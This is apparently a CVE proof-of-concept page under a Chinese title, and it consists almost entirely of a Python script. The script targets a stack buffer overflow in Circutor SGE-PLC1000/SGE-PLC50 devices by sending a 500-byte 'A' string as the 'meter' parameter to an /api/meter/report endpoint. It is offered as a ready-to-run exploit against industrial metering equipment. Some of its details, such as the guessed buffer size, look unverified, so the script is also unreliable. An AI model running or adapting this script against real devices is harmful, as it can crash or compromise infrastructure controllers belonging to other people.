CVE-2025-11780 Circutor SGE-PLC 栈缓冲区溢出漏洞

import requests import sys # CVE-2025-11780 PoC - Circutor SGE-PLC Stack Buffer Overflow # Target: Circutor SGE-PLC1000/SGE-PLC50 < v9.0.3 # Vulnerability: Stack-based buffer overflow in showMeterReport() via unsanitized meter parameter def exploit_cve_2025_11780(target_url, meter_payload): """ Exploit the buffer overflow vulnerability in showMeterReport() function. Args: target_url: Base URL of the vulnerable Circutor SGE-PLC device meter_payload: Malicious payload for meter parameter Returns: Response from the server """ endpoint = f"{target_url}/api/meter/report" params = { 'meter': meter_payload # Unsanitized input passed to sprintf() } try: response = requests.get(endpoint, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def generate_overflow_payload(length=500): """ Generate payload to trigger buffer overflow. The sprintf() copies user input to fixed-size buffer without size check. """ # Pattern to overflow the buffer and potentially control execution overflow_char = 'A' * length return overflow_char if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_11780_poc.py <target_url>") print("Example: python cve_2025_11780_poc.py http://192.168.1.100") sys.exit(1) target = sys.argv[1] payload = generate_overflow_payload(500) # 500 bytes should overflow typical buffer print(f"[*] Sending exploit payload to {target}") print(f"[*] Payload length: {len(payload)} bytes") response = exploit_cve_2025_11780(target, payload) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:200]}")